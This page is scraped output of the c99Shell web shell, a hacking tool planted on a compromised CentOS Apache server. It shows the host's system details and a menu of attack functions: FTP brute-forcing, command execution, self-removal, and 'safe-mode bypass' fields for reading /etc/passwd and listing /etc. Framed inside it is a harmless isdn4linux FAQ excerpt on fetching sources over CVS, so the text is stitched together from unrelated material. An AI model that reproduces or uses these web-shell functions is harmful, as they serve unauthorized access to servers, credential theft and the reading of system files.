!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/usr/share/doc/isdn4k-utils-3.2/   drwxr-xr-x
Free 52 GB of 127.8 GB (40.69%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     i4lfaq-2.html (4.56 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
FAQ for isdn4linux: distrib: Distribution Next Previous Contents

2. distrib: Distribution

2.1 distrib_getlatest: How can I get the latest isdn4linux?

There are different ways, depending on your kernel. Unless you are an experienced user of Linux, you should use a recent kernel (=first option).

  • You have a recent kernel (at least 2.0.36/2.2.11/2.3.14): Great choice, you have already the current kernel ISDN stuff. Additionally, you just need to get the current isdn4k-utils package from ftp://ftp.isdn4linux.de/pub/isdn4linux/utils/ - unless it's already included in your distribution.
  • You have an older kernel (before 2.0.36/2.2.11/2.3.14): An upgrade to a recent kernel is HIGHLY recommended. And it is MUCH easier to do a kernel upgrade than to get ISDN to work with your older kernel. Ok, now if you still want to keep your old kernel, here is how to do it: First you have to identify the correct CVS extract for your kernel version (CVS is the version control system the ISDN developers use to develop ISDN4LINUX). Take a CVS snapshot that is dated with about the date when your kernel came out. You find the kernel patches and the old isdn4k-utils packages on ftp://ftp.isdn4linux.de/pub/isdn4linux/ or on one of its mirrors (see http://www.isdn4linux.de/download.shtml on how to find mirrors).
  • As a developer: If you want to participate in the development of i4l, you can get the very latest stuff via CVS. For this, see the question about access to CVS: distrib_cvs.

2.2 distrib_cvs: How can I access the source from the current development/what is the CVS tree all about?

CVS - Concurrent Version System:

This is a multiuser/server extension to RCS (Revision Control System). The I4L drivers are developed under CVS, and there is a server (cvs.isdn4linux.de) with a CVS tree to which all developers have access. In addition, Fritz has configured anonymous read-only access to the CVS tree . If you must have the very latest versions, you can get them there, however they may contain more bugs than the released versions!!!

Here is how to get the latest version:

  1. Create and go to the directory where you want to store i4l
    mkdir ~/cvs; cd ~/cvs
    cvs -d :pserver:guest@cvs.isdn4linux.de:/i4ldev login
    

  2. Log in (asks for a password, enter readonly)
  3. Get the isdn kernel driver stuff (same hierarchy as in the linux source)
    cvs -d :pserver:guest@cvs.isdn4linux.de:/i4ldev checkout isdn
    

  4. Get the utility package into the current directory
    cvs -d :pserver:guest@cvs.isdn4linux.de:/i4ldev checkout isdn4k-utils
    

    If you want to get the latest version for kernel 2.0.x rather than for the latest kernel, then you have to give the additional option `-r':
    cvs -d :pserver:guest@cvs.isdn4linux.de:/i4ldev checkout -r isdn4kernel_2_0 isdn
    

  5. After having checked out, further updates can be done by first changing into isdn or isdn4k-utils subdirectory and running
    cvs update -P -d
    

    Tip: since cvs stores the password on your first login, you don't need to login again when updating.

WARNING!! THE NEWEST STUFF SOMETIMES IS VERY INSTABLE OR MAY NOT EVEN COMPILE WITHOUT PROGRAMMING KNOWLEDGE - No newbie questions on this PLEASE! Use the source, Luke!

People who want to continuously help develop isdn4linux by writing new drivers etc. can get a real account for full access. In this case write an email to Fritz Elfert fritz@isdn4linux.de


Next Previous Contents

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0136 ]--